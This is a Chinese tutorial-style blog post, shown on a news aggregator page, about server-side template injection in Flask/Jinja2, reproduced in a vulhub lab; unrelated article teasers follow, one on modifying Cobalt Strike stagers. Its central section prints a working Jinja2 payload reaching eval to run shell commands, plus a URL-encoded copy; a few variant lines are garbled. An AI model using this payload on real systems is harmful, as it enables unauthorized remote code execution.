news 2026/4/23 15:12:53

【Flask(Jinja2)服务端模板注入漏洞】

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【Flask(Jinja2)服务端模板注入漏洞】

一、SSTI漏洞概述

服务端模板注入(Server-Side Template Injection,SSTI)是一种发生在Web应用程序中的安全漏洞,攻击者能够向模板引擎注入恶意模板代码,从而在服务器端执行任意代码。

二、Flask介绍

Flask是一个流行的Python Web框架,使用Jinja2作为其模板引擎。当用户输入未经适当过滤就直接在Jinja2模板中渲染时,可能会导致服务端模板注入(SSTI)漏洞,进而可能导致远程代码执行。
Flask应用的结构:

三、环境搭建

从vulhub中拉取漏洞镜像。

https://vulhub.org/zh

环境启动后,访问http://your-ip:8000/即可查看到默认页面。

四、漏洞详情

首先,访问以下URL验证SSTI漏洞是否存在:

http://localhost:8000/?name={{7*7}}

看到结果是49要实现远程代码执行,可以使用以下POC获取eval函数并执行任意Python代码:

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}

替换恶意代码即可实现更多攻击
只需修改最后一步eval中的字符串,就能实现任意攻击行为,比如:
读取服务器敏感文件:{{ b’eval’ }}
执行其他系统命令:{{ b’eval’ }}
查看服务器网络配置:{{ b[‘eval’](‘import(“os”).popen(“ip addr”).read()’) }}

http://your-ip:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

免责声明:

本公众号分享的网络安全工具与资料仅用于合法授权的教育、研究、安全测试及防御目的。任何使用者应确保其行为符合《网络安全法》等相关法律法规,严禁用于任何非法或未授权访问。

所有工具与实验均存在一定风险,请在具备相应知识或专业人员指导下,于自有或已获授权的环境中测试。因使用、传播相关内容而产生的任何直接或间接后果,本公众号及作者概不承担责任。

请务必在法律允许范围内,安全、负责地使用技术。

参考链接:

  • https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
  • http://rickgray.me/use-python-features-to-execute-arbitrary-codes-in-jinja2-templates
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/23 8:36:48

2026破局指南:语义对齐工具如何弥合开发-测试鸿沟,提升协作效率300%

协作痛点催生技术革命 2026年,开发与测试团队的“知识断层”仍是软件交付的核心瓶颈。开发者关注代码逻辑,测试员聚焦场景覆盖,术语体系差异导致需求误读、缺陷漏检频发。行业数据显示,此类沟通损耗年均占用测试员42%有效工时&am…

作者头像 李华
网站建设 2026/4/23 8:33:32

终于有人把仓库管理讲清楚了

目录 一、仓库不只是一个放货的空间 二、管理仓库需要系统的方法 1、先从最基础的布局说起 2、每天的作业流程 收货是第一步,也是最容易出错的一步。 货物存好后,关键是要保持整齐和定位准确。 拣货环节,是仓库里工作量最大的一块。 …

作者头像 李华
网站建设 2026/4/23 8:37:40

YOLO26涨点改进 |全网独家、特征融合创新篇 | TGRS 2025 | 引入ERM边缘感知细化融合模块,解决红外小目标检测中常见的边界模糊、目标不完整、背景干扰问题,助力YOLO26有效涨点

一、本文介绍 🔥本文给大家介绍使用ERM边缘感知细化模块改进 YOLO26 网络模型,主要作用于特征融合和检测前的细化阶段,用于弥补 YOLO26 在下采样和多尺度融合过程中造成的边界信息损失。ERM 通过显式建模边缘和梯度信息,引导网络重点关注目标与背景变化最剧烈的区域,从而…

作者头像 李华
网站建设 2026/4/23 9:58:47

安全工具篇魔改二开CheckSum8算法Beacon密钥Stager流量生成机制

免杀对抗——第一百六十四天 安全工具篇&魔改二开&CheckSum8算法&Beacon密钥&Stager流量&生成机制 前置知识 上节课我们对CS进行了简单的魔改操作,但是这些操作基本对流量识别影响不大,因此我们本节课会继续深入进行改动&#xf…

作者头像 李华